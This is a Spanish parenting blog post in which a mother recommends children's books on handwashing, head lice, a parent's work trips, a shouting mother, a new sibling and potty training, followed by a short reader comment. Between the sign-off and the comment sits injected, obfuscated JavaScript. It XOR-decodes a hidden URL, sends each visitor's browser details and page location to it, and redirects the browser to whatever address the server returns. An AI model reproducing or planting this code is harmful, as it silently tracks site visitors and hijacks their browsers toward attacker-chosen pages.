Hoy te quiero proponer una actividad. Pásate un día por la zona infantil de una biblioteca o por una librería y observa la cantidad de títulos que hay. Ahora, intenta ver la temática de algunos de ellos. ¿A que nunca te habías parado a pensar que hay para todas las cosas que a las madres primerizas o ya más veteranas nos preocupan? La retirada del pañal, la llegada del hermanito, el miedo a la oscuridad… Aquí he preparado una selección de los que yo tengo en casa, o que me ha recomendado alguna amiga, y que por su contenido me han llamado la atención. Y es que no hay mejor manera de educar y acompañar a los niños en su desarrollo y crecimiento que a través de los libros.
Para nada sucias (Editorial Takatuka)
Una de las cosas que le ha costado mucho a mi hija la mayor, y seguimos con ello cada vez que llegamos del parque, es acostumbrarla a que se tiene que lavar la manos porque son foco de muchos virus. Con la lectura de Para nada sucias creo que hemos conseguido que lo entienda un poco mejor. Las ilustraciones son lo más.
¡Ojo, piojo! (Editorial MacMaillan)
Comienza el colegio y damos por inaugurada la temporada de piojos. ¿Y si le echamos un poco de humor a esta situación? Eso es lo que trata este libro a través de la historia del precioso pelo de Nico y sus nuevos inquilinos. Nota curiosa: viene con liendrera y todo.
El viaje de mamá (Kalandraka)
Mamá tiene un plan y también un trabajo, por eso a veces tenemos que ausentarnos de casa en contra de nuestra voluntad. Si estás en este caso, este libro te va a encantar a ti, a tu pareja y a tu hijo. “Cuando no está mamá la casa no huele a flores… Huele a pies descalzos y a chocolate… jugamos hasta que salen las estrellas… papá me lee cuentos pero su voz es más ronca que la de mamá… Cuando regresa mamá, la casa vuelve a oler a flores… Papá está contento y yo también”. Un pequeño párrafo que describe la esencia de este título.
Madrechillona (Lónguez Ediciones)
Este libro es un préstamo que me hizo mi querida vecina del cuarto. Se lo devolví hace ya tiempo, pero creo que lo voy a poner en mi lista de Papá Noel porque su historia es el día a día de una madre que llega a casa cansada de un día duro de trabajo, pierde los nervios y termina pegándole un grito a su pequeño. Con las sencillas ilustraciones de mamá pinguino y su hijo pinguinito, Jutta Bauer consigue reflejar el sentimiento de un madre arrepentida y de un hijo paralizado por la reacción de esta.
¡El mejor bebé del mundo! (Editorial Picarona) y Dentro de nuestra mamá (Cubilite Ediciones)
Dos títulos más que recomendables para las mamás y papás que estén preocupados por la llegada del segundo hijo y de cómo se lo pueda tomar el mayor. El primero arranca la historia con el bebé ya instalado en el núcleo familiar y el segundo se centra más en los nueves meses de espera. ¡A mi hija le fascinaba por las solapas sorpresa!
¿Puedo mirar el pañal? (Editorial SM)
El objetivo inicial de este cuento es acompañar al niño y a los padres en la difícil tarea de la retirada del pañal, pero a mi hija le encantaba porque trataba uno de sus temas favoritos, las cacas, y me explico. Todo lo que tenga relación con lo escatológico, llámese caca, pedo, culo o pis, es algo que le hace mucha gracia. Esa parte y que de nuevo es un libro con solapas, que siempre hace la lectura más entretenida, han hecho que durante mucho tiempo se haya convertido casi en lectura diaria.
Te animo a que si tú también te hiciste con un cuento para ayudar a tu hijo con algo en concreto, me dejes en comentarios el título y de qué iba y así nos echamos una mano unas a otras. ¡Viva el #mamanetworking! Un beso y hasta la próxima semana. var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Me apunto los títulos, me ha gustado mucho